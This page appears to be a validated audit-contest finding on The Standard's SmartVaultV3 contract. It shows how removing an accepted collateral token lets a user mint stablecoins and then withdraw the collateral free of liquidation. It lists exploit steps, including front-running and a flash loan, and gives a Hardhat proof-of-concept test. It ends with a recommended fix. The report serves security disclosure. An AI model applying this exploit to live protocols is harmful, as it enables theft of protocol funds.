The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: medium
Valid

Users can borrow a large amount of tokens for free when a token is removed from accepted tokens

Summary:

The protocol maintains an accepted tokens array to identify eligible collateral tokens. However, an issue arises when a token, previously accepted and used as collateral, is removed from this list. The SmartVaultV3 contract fails to account for such tokens in its collateral calculations and transfers post-removal. This allows users to obtain free tokens, exploiting the system.

Vulnerability Details:

The SmartVaultV3 contract triggers a liquidation for undercollateralized positions based on the euroCollateral() function, which calculates collateral value using the tokens returned by the getAcceptedTokens() function.

function euroCollateral() private view returns (uint256 euros) {
ITokenManager.Token[] memory acceptedTokens = getTokenManager().getAcceptedTokens();
for (uint256 i = 0; i < acceptedTokens.length; i++) {
ITokenManager.Token memory token = acceptedTokens[i];
euros += calculator.tokenToEurAvg(token, getAssetBalance(token.symbol, token.addr));
}
}

During a liquidation, all collateral tokens are sent to the liquidationPoolManager contract. Both the collateral valuation and transfer processes rely on the accepted tokens array. Thus, if a token is removed from this array, any position holding it becomes undercollateralized yet exempt from liquidation, creating a loophole.

function liquidate() external onlyVaultManager {
require(undercollateralised(), "err-not-liquidatable");
liquidated = true;
minted = 0;
liquidateNative();
ITokenManager.Token[] memory tokens = getTokenManager().getAcceptedTokens();
for (uint256 i = 0; i < tokens.length; i++) {
if (tokens[i].symbol != NATIVE) liquidateERC20(IERC20(tokens[i].addr));
}
}

Additionally, the removeAsset function allows users to withdraw tokens outside the eligible tokens list, further exploiting the problem.

function removeAsset(address _tokenAddr, uint256 _amount, address _to) external onlyOwner {
ITokenManager.Token memory token = getTokenManager().getTokenIfExists(_tokenAddr);
if (token.addr == _tokenAddr) require(canRemoveCollateral(token, _amount), UNDER_COLL);
IERC20(_tokenAddr).safeTransfer(_to, _amount);
emit AssetRemoved(_tokenAddr, _amount, _to);
}

Impact:

This could lead to substantial losses for the protocol, as it prevents the full liquidation of positions containing the removed token, leaving associated debts unpaid.

Moreover, informed users can exploit this flaw in the following way:

  • User A, anticipating the removal of Token X from the list of accepted collateral, mints a substantial amount of tokens using Token X as collateral.

  • The protocol proceeds to remove Token X from the list of accepted collateral.

  • Following this removal, User A's position becomes undercollateralized. However, due to the nature of the vulnerability, this under collateralization does not trigger the usual liquidation process, leaving User A's collateral unaffected.

  • User A then calls the removeAsset function to withdraw all of their Token X collateral from the position.

Note: A flash loan can be used to sandwich the removal call to maximize the exploit.

Proof Of Concept

it("User front run removal of token to borrow a large amount of tokens for free", async () => {
// set up
const SUSD18 = await (
await ethers.getContractFactory("ERC20Mock")
).deploy("sUSD18", "SUSD18", 18);
const ClUsdUsd = await (
await ethers.getContractFactory("ChainlinkMock")
).deploy("USD / USD");
await ClUsdUsd.setPrice(100000000);
await TokenManager.addAcceptedToken(SUSD18.address, ClUsdUsd.address);
const SUSD18value = ethers.utils.parseEther("1000");
// user flashloans and transfers 1000 SUSD18 to vault
await SUSD18.mint(Vault.address, SUSD18value);
// minting value
const mintedValue = ethers.utils.parseEther("500");
// minting fee
const mintingFee = mintedValue.mul(PROTOCOL_FEE_RATE).div(HUNDRED_PC);
// user mints 500 EUROs
await expect(Vault.connect(user).mint(user.address, mintedValue)).not.to
.be.reverted;
// token manager removes asset from accepted tokens
await TokenManager.removeAcceptedToken(
"0x5355534431380000000000000000000000000000000000000000000000000000" // SUSD18
);
// user removes all collateral from vault (pay back flash loan) bypassing check because token no longer part of accepted tokens
await expect(
Vault.connect(user).removeAsset(
SUSD18.address,
SUSD18value,
user.address
)
).not.to.be.reverted;
// check balance of vault collateral
expect(await SUSD18.balanceOf(Vault.address)).to.equal(0);
// check amount minted
const { minted } = await Vault.status();
// minted is equal to mintedValue + mintingFee
expect(minted).to.equal(mintedValue.add(mintingFee));
});

Tools Used:

  • Manual analysis

  • Hardhat

Recommendation:

When considering the removal of a token, the protocol should assess its impact on existing positions that are utilizing it. One approach could be to disallow the use of the token for collateral in new borrowings while maintaining its validity for existing positions to ensure they remain adequately collateralized. This token can then be gradually phased out.

Updates

Lead Judging Commences

hrishibhat Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

remove-token

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!